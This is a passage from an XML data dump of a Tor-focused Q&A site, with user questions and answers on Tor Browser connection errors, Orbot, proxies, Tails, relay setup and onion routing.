server. (Connection refused [WSAECONNREFUSED ]; CONNECTREFUSED; count 6; recommendation warn; host C16B543C6DEF3A1310FFBBAB423217B47EEE1A97 at 192.36.41.152:45573)&#xA;8/6/2015 14:26:24 PM.156 [WARN] 5 connections have failed: &#xA;8/6/2015 14:26:24 PM.156 [WARN]  4 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;8/6/2015 14:26:24 PM.156 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;8/6/2015 14:26:49 PM.578 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (Connection refused [WSAECONNREFUSED ]; CONNECTREFUSED; count 9; recommendation warn; host C16B543C6DEF3A1310FFBBAB423217B47EEE1A97 at 192.36.41.152:45573) &#xA;8/6/2015 14:26:49 PM.578 [WARN] 8 connections have failed: &#xA;8/6/2015 14:26:49 PM.578 [WARN]  6 connections died in state handshaking &#xA;(TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;8/6/2015 14:26:49 PM.578 [WARN]  2 connections died in state connect()ing with SSL state (No SSL object) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8054" LastEditorUserId="88" LastEditDate="2015-08-06T21:13:23.773" LastActivityDate="2015-08-06T21:13:23.773" Title="Tor Browser unable to connect to any website (Endless Loop)" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="3" ClosedDate="2016-04-29T17:53:45.420" ContentLicense="CC BY-SA 3.0" />
  <row Id="7405" PostTypeId="2" ParentId="7397" CreationDate="2015-08-06T14:29:21.840" Score="0" Body="&lt;p&gt;Unless specifically configured to do so, Orbot does not connect an entire device to Tor so you have to configured which applications will use it. This is why they provide &lt;a href=&quot;https://play.google.com/store/apps/details?id=info.guardianproject.browser&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;OrWeb&lt;/a&gt; which is pre-configured to use Orbot. You can also use Firefox with a proxy configuration but you'll have to know how to do that. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-08-06T14:29:21.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7406" PostTypeId="2" ParentId="7393" CreationDate="2015-08-06T14:33:43.500" Score="1" Body="&lt;p&gt;The sites you connect to can in fact determine if you're running GreaseMonkey and issue targeted attacks. In fact, a site can fingerprint which plugins you have installed making you vulnerable to uniquely identifying your browser across sessions. Installing GreaseMonkey has the same risks of installing any add-on but it's particularly a problem because of the new capabilities and scripts that GreaseMonkey allows. But still, there are no exploits that I know of that specifically target GreaseMonkey and as always, it's recommended you only visit trusted sites. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-08-06T14:33:43.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7407" PostTypeId="2" ParentId="7401" CreationDate="2015-08-06T16:55:17.930" Score="2" Body="&lt;p&gt;ok i got it working. not sure how to explain this clearly but it had to do with the computer clock. on the computer it did work on, the clock had a central time zone. the computer it didn't work on, had a mountain time zone, although both clocks showed the right time because i had previously adjust it by one hour manually when booted the computer for the very first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so then i changed the mountain time zone to central, but then the clock was off by one hour, i tried tor that way but still no good. so i adjusted it manually to show the right time with the central time zone. but .onion sites still do not load. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i looked at the clock settings again and saw it was synchronized to a internet time server. i unchecked the option and the .onion site loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i wish i could explain it more concisely but i hope this can still help someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you to Richard Horrocks for helping and Stig Atle Steffensen for editing my log info to make it more readable.&lt;/p&gt;&#xA;" OwnerUserId="8050" LastActivityDate="2015-08-06T16:55:17.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7410" PostTypeId="1" CreationDate="2015-08-06T21:45:33.563" Score="1" ViewCount="491" Body="&lt;p&gt;i cant enable javascripts at windows 10 any prblem ?&#xA;just updated my OS up to win 10 and cant enable java in TOR browser&lt;/p&gt;&#xA;" OwnerUserId="8056" LastActivityDate="2015-08-06T21:45:33.563" Title="windows 10 javascript problem" Tags="|windows|javascript|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7411" PostTypeId="1" AcceptedAnswerId="7414" CreationDate="2015-08-06T22:46:26.287" Score="2" ViewCount="236" Body="&lt;p&gt;Tor uses a SOCKS5 interface to communicate with applications.  I am making an application with winHttp that needs to use Tor, but winHttp only can use HTTP proxies.  Is there any way to change Tor's 'interface' proxy to an HTTP one instead of a SOCKS5 proxy?&lt;/p&gt;&#xA;" OwnerUserId="8057" LastActivityDate="2015-08-07T09:05:30.370" Title="Make the Tor interface an httpproxy" Tags="|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7412" PostTypeId="1" CreationDate="2015-08-06T23:42:35.567" Score="1" ViewCount="130" Body="&lt;p&gt;Google always sends an email if i sign in from a different IP?, Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="8058" LastActivityDate="2015-08-07T04:52:14.757" Title="Can I safely log in to google account without an issue?" Tags="|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7413" PostTypeId="2" ParentId="7412" CreationDate="2015-08-07T04:52:14.757" Score="1" Body="&lt;p&gt;Here is what is happening: google has been tracking your logins ever since you first made your email. By now they have an exact fingerprint on you that allows them to determine whether or not it is really you logging in or not. Then one day they see you logging in from a foreign country using a browser they have never seen before. &quot;Uh oh! Must be a hacker!&quot; and they lock you out of your account, or at least send you an email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What really happened of course is that you just logged in from Tor Browser. Once you log back in to your account from your usual non-tor browser and tell them that it was really you, they will mark you in their system as a tor user. From then on, logging in from foreign countries and jumping across continents in milliseconds is no longer strange, and they will no longer lock you out of your account when you log in via tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as safety goes, yes, you are safe in the sense that your communications are end-to-end encrypted to the real google through the tor network. (Note that many may consider using google at all to be unsafe due to their spying habits; this has nothing to do with whether you use tor or not though.)&lt;/p&gt;&#xA;" OwnerUserId="1172" LastActivityDate="2015-08-07T04:52:14.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7414" PostTypeId="2" ParentId="7411" CreationDate="2015-08-07T09:05:30.370" Score="1" Body="&lt;p&gt;No, there isn't. Because Tor is made in that way, you should modify Tor's source code and so on. But, there is a &quot;solution&quot;. You can use &lt;a href=&quot;http://www.privoxy.org/&quot; rel=&quot;nofollow&quot; title=&quot;privoxy&quot;&gt;Privoxy&lt;/a&gt;, &lt;a href=&quot;http://proxychains.sourceforge.net/%20ProxyChains&quot; rel=&quot;nofollow&quot;&gt;ProxyChains&lt;/a&gt; or other tools.&lt;/p&gt;&#xA;" OwnerDisplayName="user3524" LastActivityDate="2015-08-07T09:05:30.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7418" PostTypeId="1" CreationDate="2015-08-08T04:09:44.520" Score="1" ViewCount="522" Body="&lt;p&gt;After the government infiltrated (presumably an exit node) of the Tor network, is it still as safe for users who want their anonymity hidden as it was before the government cracked it? Or is there a risk that the government has found a loop-hole and are on the inside?&lt;/p&gt;&#xA;" OwnerUserId="8069" LastActivityDate="2015-08-08T06:19:12.940" Title="Is tor still as safe as it was before the takedown of Silk Road?" Tags="|anonymity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7420" PostTypeId="2" ParentId="7418" CreationDate="2015-08-08T06:11:44.203" Score="5" Body="&lt;p&gt;Not a tor exploit, or hijacked exit node.&#xA;The tor project has a long post about this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.torproject.org/blog/tor-and-silk-road-takedown&quot; rel=&quot;noreferrer&quot;&gt;https://blog.torproject.org/blog/tor-and-silk-road-takedown&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In this case we've been watching carefully to try to learn if there&#xA;are any flaws with Tor that we need to correct. So far, nothing about&#xA;this case makes us think that there are new ways to compromise Tor&#xA;(the software or the network).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.forbes.com/sites/andygreenberg/2013/10/02/end-of-the-silk-road-fbi-busts-the-webs-biggest-anonymous-drug-black-market/&quot; rel=&quot;noreferrer&quot;&gt;And news sources say:&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;One clue mentioned in the criminal complaint against Ulbricht was a&#xA;package seized from the mail by U.S. Customs and Border Patrol as it&#xA;crossed the Canadian border, containing nine seemingly counterfeit&#xA;identification documents, each of which used a different name but&#xA;featured Ulbricht’s photograph. The address on the package was on 15th&#xA;street in San Francisco, where police found Ulbricht and matched his&#xA;face to the one on the fake IDs.&lt;/p&gt;&#xA;&lt;p&gt;The complaint also mentions security mistakes, including an IP address&#xA;for a VPN server used by Ulbricht listed in the code on the Silk Road,&#xA;mentions of time in the Dread Pirate Roberts’ posts on the site that&#xA;identified his time zone, and postings on the Bitcoin Talk forum under&#xA;the handle “altoid,” which was tied to Ulbricht’s Gmail address.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="112" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-08-08T06:19:12.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7421" PostTypeId="1" AcceptedAnswerId="7422" CreationDate="2015-08-08T12:56:19.813" Score="1" ViewCount="657" Body="&lt;p&gt;PHP can be used to generate a lot of addresses and private keys for use with Bitcoin. How about Tor? Can we use PHP to generate a Tor hostname?&lt;/p&gt;&#xA;" OwnerUserId="8072" LastEditorUserId="88" LastEditDate="2017-09-25T11:56:12.993" LastActivityDate="2017-09-25T11:56:12.993" Title="How do I generate .onion hostnames using PHP?" Tags="|tor-browser-bundle|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7422" PostTypeId="2" ParentId="7421" CreationDate="2015-08-08T13:03:58.837" Score="3" Body="&lt;p&gt;If you are asking about 'specific' urls (or custom urls), so&#xA;to do this with PHP you can let php interface for example &lt;a href=&quot;https://github.com/lachesis/scallion&quot; rel=&quot;nofollow&quot;&gt;Scallion&lt;/a&gt; on the server you serve php from (or forward the commands to another computer).&#xA;I have never seen a 'pure' php way of doing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just mean random onion domains, then you can let php interface tor through php\python with this library &lt;a href=&quot;https://stem.torproject.org/api.html&quot; rel=&quot;nofollow&quot;&gt;Stem&lt;/a&gt;.&#xA;Let that generate the domains\keys through php commands triggering python.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-08-08T13:03:58.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7424" PostTypeId="1" CreationDate="2015-08-08T17:32:48.820" Score="7" ViewCount="404" Body="&lt;p&gt;I've heard it called &quot;disbanding&quot; attacks where the attacker induces a client into not routing a connection over Tor. Basically all of the things that the TBB protects against. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples might be leaking DNS because it's using SOCKS4 or using WebRTC to discover the private IP of the user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an existing list of all such attacks, or can you make a list off to top of your head?&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2017-05-02T10:15:22.600" Title="List of attacks that try to trick browser to not use SOCKS/Tor" Tags="|tor-browser-bundle|attacks|information-leaks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7425" PostTypeId="1" AcceptedAnswerId="7426" CreationDate="2015-08-08T23:52:36.097" Score="2" ViewCount="105" Body="&lt;p&gt;I.e., megabytes per second instead of megabits?&#xA;Or, mebibytes/mebibits?&#xA;Etc.&lt;/p&gt;&#xA;" OwnerUserId="8075" LastActivityDate="2015-08-09T07:35:13.500" Title="Is there a way to show the Download and Upload speeds in arm as different units?" Tags="|nyx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7426" PostTypeId="2" ParentId="7425" CreationDate="2015-08-09T07:35:13.500" Score="2" Body="&lt;p&gt;From the ARM &lt;a href=&quot;https://www.atagar.com/arm/&quot; rel=&quot;nofollow&quot;&gt;project page&lt;/a&gt;, navigate to the Git &lt;a href=&quot;https://gitweb.torproject.org/nyx.git/tree/&quot; rel=&quot;nofollow&quot;&gt;repository&lt;/a&gt;. You'll notice that here ARM is actually referred to as Nyx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the files at the top level of the repository tree is &lt;code&gt;nyxrc.sample&lt;/code&gt; which provides a sample of different config options that can be set in your &lt;code&gt;nyxrc&lt;/code&gt; file. (Of course, you don't have a &lt;code&gt;nyxrc&lt;/code&gt; file, you have an &lt;code&gt;armrc&lt;/code&gt;. If you've created one.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option you want is &lt;code&gt;features.graph.bw.transferInBytes&lt;/code&gt;. It's set to &lt;code&gt;False&lt;/code&gt; as default, meaning figures are in bits.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-08-09T07:35:13.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7428" PostTypeId="2" ParentId="7398" CreationDate="2015-08-09T20:54:12.200" Score="0" Body="&lt;p&gt;I suggest using the stand-alone tor application (referenced in the tutorial you mention) instead of the Tor Browser Bundle. TBB appears to not open a port on 9050 as tor by itself would.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation of TBB seems conflicting on what port can be used. &lt;a href=&quot;https://www.torproject.org/docs/faq#TBBSocksPort&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq#TBBSocksPort&lt;/a&gt; mentions SOCKS on port 9150, though older documentation mentions an option called 'Configure ControlPort automatically' that appears to randomise the ports used by TBB.&lt;/p&gt;&#xA;" OwnerUserId="8081" LastActivityDate="2015-08-09T20:54:12.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7433" PostTypeId="1" CreationDate="2015-08-10T11:40:41.277" Score="1" ViewCount="259" Body="&lt;p&gt;Some sites won't open in Firefox. I'm using Tor with Firefox which I tunnel through system network in Ubuntu. After trying to install XAMPP and WordPress locally, it is not working like it always was. I check this &lt;a href=&quot;http://check.torproject.org&quot; rel=&quot;nofollow&quot;&gt;check.torproject.org&lt;/a&gt; but it says I'm connected.&lt;/p&gt;&#xA;" OwnerUserId="8090" LastEditorUserId="5445" LastEditDate="2015-08-19T09:48:21.250" LastActivityDate="2021-11-24T03:04:40.447" Title="Some sites won't open in Firefox Ubuntu" Tags="|firefox|ubuntu|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7434" PostTypeId="1" AcceptedAnswerId="7435" CreationDate="2015-08-10T15:46:47.743" Score="3" ViewCount="2668" Body="&lt;p&gt;When I hit &quot;PrtScn&quot; the screen blinks hinting a screenshot is being taken, but then I can't paste it into Gimp. It says there is nothing to paste.&lt;/p&gt;&#xA;" OwnerUserId="8009" LastActivityDate="2015-08-10T17:28:25.347" Title="How do I save a screenshot in Tails?" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7435" PostTypeId="2" ParentId="7434" CreationDate="2015-08-10T17:17:28.780" Score="3" Body="&lt;p&gt;Tails saves print screen images in /home/amnesia (your home directory) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find the images go to: Applications &gt; Accessories &gt; Files and look for the screenshot file ending .png &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or in gimp you open it through File &gt; Open and it should be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/blueprint/doc/screenshots/&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/blueprint/doc/screenshots/&lt;/a&gt; Also, this link backs up what I said and explains a whole lot more. &lt;/p&gt;&#xA;" OwnerUserId="7883" LastEditorUserId="7883" LastEditDate="2015-08-10T17:28:25.347" LastActivityDate="2015-08-10T17:28:25.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7437" PostTypeId="1" AcceptedAnswerId="7452" CreationDate="2015-08-11T03:36:30.253" Score="5" ViewCount="5130" Body="&lt;p&gt;As the question says, how can I run a relay on Windows XP or Vista? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked and can't find a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did run one from an Android tablet but that is not always on. My PC's are running 24/7 and I have a very fast fibre connection to the net. It is a shame not to use them.&lt;/p&gt;&#xA;" OwnerUserId="8098" LastEditorUserId="5445" LastEditDate="2015-08-19T09:47:58.407" LastActivityDate="2017-07-18T05:40:25.857" Title="How can I run a relay on Windows?" Tags="|relays|windows|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7438" PostTypeId="2" ParentId="7397" CreationDate="2015-08-11T04:56:04.097" Score="1" Body="&lt;p&gt;If you are using &lt;strong&gt;Orbot&lt;/strong&gt; you must be on an &lt;strong&gt;Android&lt;/strong&gt; device. &#xA;On an android device you can use the &lt;strong&gt;duck duck go&lt;/strong&gt; search browser or &lt;strong&gt;Orweb&lt;/strong&gt; browser as both of these are pre-configured to use Orbot and therefore the Tor system.&#xA;When you start &lt;strong&gt;duck duck go&lt;/strong&gt; or &lt;strong&gt;Orweb&lt;/strong&gt; browser if &lt;strong&gt;Orbot&lt;/strong&gt; is not running it will ask you if you want to use &lt;strong&gt;Orbot&lt;/strong&gt; and start it for you. both &lt;strong&gt;Orbot&lt;/strong&gt; and &lt;strong&gt;Duck Duck Go&lt;/strong&gt; can be found at the Google play store for free.&#xA;I hope this helps you &lt;a href=&quot;https://tor.stackexchange.com/users/8042/severin&quot;&gt;Severin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8098" LastEditorUserId="8098" LastEditDate="2015-08-11T05:03:44.667" LastActivityDate="2015-08-11T05:03:44.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7439" PostTypeId="2" ParentId="7336" CreationDate="2015-08-11T05:41:43.217" Score="1" Body="&lt;p&gt;Chrome browser with as you said no extra settings is not made to connect through Tor. Orbot works through some apps like Orweb, DuckDuckGo Search Engine app, etc&#xA;Are you sure your Chrome is connecting through Orbot?&lt;/p&gt;&#xA;" OwnerUserId="8098" LastActivityDate="2015-08-11T05:41:43.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7440" PostTypeId="1" AcceptedAnswerId="7451" CreationDate="2015-08-11T06:37:12.530" Score="1" ViewCount="200" Body="&lt;p&gt;I used Tor at work and got informed by a security analyst that my computer was exhibiting strange behavior. She said that it was connecting to servers in Amsterdam. Though I think there were some other situation specific factors that caused her to become alarmed, is this generally a red flag if a computer in North America connects to Amsterdam? If yes, how can it be better obfuscated? &lt;/p&gt;&#xA;" OwnerUserId="8100" LastActivityDate="2015-08-12T10:19:58.977" Title="Is there a way to prevent Tor from appearing suspicious by connecting to strange locations?" Tags="|anonymity|relays|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7441" PostTypeId="1" AcceptedAnswerId="7443" CreationDate="2015-08-11T11:53:49.460" Score="5" ViewCount="17243" Body="&lt;p&gt;Since Tails only reports when it fails to upgrade, not when it succeeds I want to know where I can check to see if I have the latest version.&lt;/p&gt;&#xA;" OwnerUserId="8009" LastActivityDate="2015-08-11T16:40:13.727" Title="Where can I see what version of Tails I have?" Tags="|tails|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7442" PostTypeId="2" ParentId="4471" CreationDate="2015-08-11T14:45:04.390" Score="0" Body="&lt;p&gt;I wouldn't trust other apps to be safe just because you are using Orbot. you should be able to select the Check Browser option in Orbot to see if Orweb is working through Orbot but if you want to stay safe don't go thinking your other apps are safe because they are probably not.&#xA;un-install Orbot, orweb etc and get the latest stable version and install that then try again.&lt;/p&gt;&#xA;" OwnerUserId="8098" LastActivityDate="2015-08-11T14:45:04.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7443" PostTypeId="2" ParentId="7441" CreationDate="2015-08-11T16:40:13.727" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/doc/first_steps/upgrade/index.en.html#index1h1&quot; rel=&quot;nofollow&quot;&gt;Tails Upgrader&lt;/a&gt; should run automatically when Tails connects to the Tor network after startup. There shouldn't be a need to check the version manually: Tails should keep itself up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, for whatever reason, your system was unable to connect to the Tor network at startup (e.g. if you didn't have a network connection), then you can run the upgrader manually from the command line using &lt;code&gt;tails-upgrade-frontend-wrapper&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upgrader will tell you if your version is out of date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really just want to check the version without relying on the upgrader, then run the following: &lt;code&gt;cat /etc/amnesia/version&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-08-11T16:40:13.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7444" PostTypeId="1" CreationDate="2015-08-11T19:52:36.567" Score="4" ViewCount="989" Body="&lt;p&gt;I am reading the &lt;strong&gt;&lt;a href=&quot;http://www.dtic.mil/cgi-bin/GetTRDoc?Location=U2&amp;amp;doc=GetTRDoc.pdf&amp;amp;AD=ADA465464&quot; rel=&quot;nofollow&quot;&gt;Tor: The Second-Generation Onion Router&lt;/a&gt;&lt;/strong&gt; article and my question is that how TOR extends circuit to a third node? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On page 7 of the article,left column, it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To extend the circuit to a third node or beyond, Alice proceeds as&#xA;  above, always telling the last node in the circuit to extend one hop&#xA;  further.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does Alice talk to OR2 directly to extend the node or it talks to OR2 through OR1? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Alice talks to OR2 through OR1, then what commands should she use?&#xA;As we know &lt;em&gt;extend&lt;/em&gt; command was used to extend circuit from OR1 to OR2 and seems it can't be used twice. &lt;/p&gt;&#xA;" OwnerUserId="8107" LastEditorUserId="88" LastEditDate="2015-08-12T09:59:38.193" LastActivityDate="2016-02-07T16:23:28.873" Title="How does TOR extend circuit to a third node?" Tags="|circuit|onion-routing|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7446" PostTypeId="1" CreationDate="2015-08-11T21:01:33.383" Score="3" ViewCount="349" Body="&lt;p&gt;I think a Tor circuit looks like this when sent&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Key1.Encrypt(Key2.Encrypt(Key3.Encrypt(Key4.Encrypt(Key5.encrypt(DATA)))));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... where KeyX represents the RSA or ECC encryption of a node in the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a client sends a fixed length data chunk, and each key is constant, isn't it easy to determine what &quot;level&quot; one is in the Onion?&lt;/p&gt;&#xA;" OwnerUserId="247" LastActivityDate="2016-03-10T21:52:04.877" Title="Does a Tor node &quot;know&quot; what layer of the onion they are in?" Tags="|onion-routing|private|relay-adversary|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7449" PostTypeId="1" CreationDate="2015-08-12T04:21:28.610" Score="1" ViewCount="1308" Body="&lt;p&gt;I want to know if isn't a good idea to use many instances of Tor and load balancing them through haproxy.&#xA;I've tested here.. I ran 20 Tor instances (20 socks5 ports) and load balanced them through haproxy. Haproxy give me one socks5 port, e.g: 9080, and each time a connection goes through that port, i had a different Tor IP address. I also set up torrc &lt;code&gt;MaxCircuitDirtness&lt;/code&gt; to 180s (this changed the IP address of each Tor instance 3 in 3 minutes).&#xA;In one hour, I received 156 different IPs (using a loop calling &lt;a href=&quot;http://ipecho.net/plain&quot; rel=&quot;nofollow&quot;&gt;http://ipecho.net/plain&lt;/a&gt; on terminal).&#xA;I saw people using this to run web crawling codes.&#xA;Isn't that a good a idea to use on a transparent proxy (or on a system wide proxy) to improve stream isolation?&lt;/p&gt;&#xA;" OwnerUserId="8113" LastEditorUserId="88" LastEditDate="2015-08-12T10:02:13.640" LastActivityDate="2015-08-13T18:28:39.303" Title="Transparent proxy improvement using haproxy load balancer?" Tags="|tails|whonix|transparent-proxy|proxy|stream-isolation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7450" PostTypeId="2" ParentId="7440" CreationDate="2015-08-12T09:16:15.350" Score="1" Body="&lt;p&gt;It is not unusual for a computer to connect to &quot;foreign&quot; locations. So a computer in North America can connect to a computer in Amsterdam without any problems. However I guess your company runs some monitoring (or better call it surveillance) device which looks at all connections. They follow their own definitions of &quot;unusual&quot; and maybe a long-term connection to any non-US country is seen as unusual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to prevent this, you can edit your &lt;code&gt;torrc&lt;/code&gt;. Open the file in a text editor and enter the lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EntryNodes {us}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After you've restarted Tor it will connect to a US based server and will always use this as a first node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this does not work for you, you can also use bridges and pluggable transports. Go to &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://bridges.torproject.org/&lt;/a&gt; and get a bridge address. However some bridges are also outside the US. So you might have those problems again. Maybe the pluggable transport meek works best for you.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-08-12T09:16:15.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7451" PostTypeId="2" ParentId="7440" CreationDate="2015-08-12T10:19:58.977" Score="2" Body="&lt;p&gt;If you use a pluggable transport such as meek-google, meek-amazon or meek-azure, all outgoing connections will appear to go to google appengine, amazon cloudfront or microsoft azure; see &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/meek&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/meek&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this will slow down browing speed in Tor Browser, and use bandwith on the meek backends which costs money to provide, so you should only make use of it if really necessary.&lt;/p&gt;&#xA;" OwnerUserId="8114" LastActivityDate="2015-08-12T10:19:58.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7452" PostTypeId="2" ParentId="7437" CreationDate="2015-08-12T13:35:24.027" Score="1" Body="&lt;p&gt;If it were me, I'd install a virtual machine - for example, &lt;a href=&quot;http://www.vmware.com&quot; rel=&quot;nofollow&quot;&gt;VMware&lt;/a&gt; - and run my relay from there, rather than trying to run it natively in Windows. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(My opinion is based around my being a Linux user... )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, quick instructions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Install VMware&lt;/li&gt;&#xA;&lt;li&gt;Install &lt;a href=&quot;http://www.ubuntu.com/download&quot; rel=&quot;nofollow&quot;&gt;Ubuntu&lt;/a&gt;, or another Debian-based flavour of Linux, as your virtual machine&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot; rel=&quot;nofollow&quot;&gt;Configure&lt;/a&gt; the relay inside the virtual machine as per the Linux &lt;a href=&quot;https://www.torproject.org/docs/tor-relay-debian.html.en&quot; rel=&quot;nofollow&quot;&gt;instructions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The virtual machine also provides another level of separation between Tor and your native system.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2015-08-12T13:40:33.920" LastActivityDate="2015-08-12T13:40:33.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7455" PostTypeId="2" ParentId="7437" CreationDate="2015-08-13T10:01:02.650" Score="4" Body="&lt;p&gt;The Tor Project Documentation has a page on &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-relay.html.en&quot; rel=&quot;nofollow&quot;&gt;Configuring a Tor relay&lt;/a&gt;. They point out that &quot;since Vidalia (a graphical interface for Tor) is no longer included in Tor Browser, there are currently no easy relay packages for Windows and OS X users.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can still do this with Tor Browser, but you'll need to leave it running the whole time. You'll need to edit &lt;code&gt;torrc&lt;/code&gt; in the Tor Browser folder's &lt;code&gt;Data\Tor&lt;/code&gt; folder. Open the file with a text editor and add the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 443&#xA;Exitpolicy reject *:*&#xA;Nickname ididntedittheconfig&#xA;ContactInfo human@...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also try using the Expert Bundle available from &lt;a 